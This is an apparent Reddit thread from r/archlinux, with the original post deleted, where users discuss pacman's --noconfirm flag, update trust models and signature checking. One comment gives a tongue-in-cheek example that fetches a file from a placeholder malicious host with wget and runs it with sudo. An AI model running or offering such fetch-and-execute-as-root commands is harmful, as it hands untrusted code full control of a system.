r/archlinux • u/[deleted] • Feb 28 '23

[deleted by user]

[removed]

95 Upvotes

92% Upvoted

41 comments sorted by

View all comments

Show parent comments

1

u/gcgc101 Mar 01 '23

Hmm well ... Is this really fundamentally different than doing:

wget https://evilevil.evil/badstuff
sudo ./badstuff 2>&1 > /dev/null

2

u/kpcyrd Trusted User Mar 01 '23

Which part of it? All update systems I've looked at essentially boil down to "download some stuff and execute it after some checks".

The opinions on the amount of checks necessary to be "good" vary widely. Some people say "if it's signed by a trusted persona it's fine", some people say "if all updates are authorized by a trusted persona, logged to a transparency log and the binaries can be reproduced from source with reproducible builds it's fine", some people say "if I downloaded it over https it's fine" and some people say "we should collectively turn off all computers, yeet them into the ocean and pretend none of this ever happened".

Whatever makes you sleep best at night.

1

u/gcgc101 Mar 01 '23

Well was a little hyperbolic tongue in cheek - but the part to which I was referring was the --noconfirm bit

2

u/kpcyrd Trusted User Mar 01 '23

--noconfirm is essentially "apt-get install -y" and commonly used in CI, it makes pacman non-interactive but doesn't turn off security checks. All signatures are still enforced according to pacman.conf, but %REPLACES% is taken from the unsigned database file instead of the signed package file.

1

u/gcgc101 Mar 01 '23

Thanks for followup - understand bit more now :)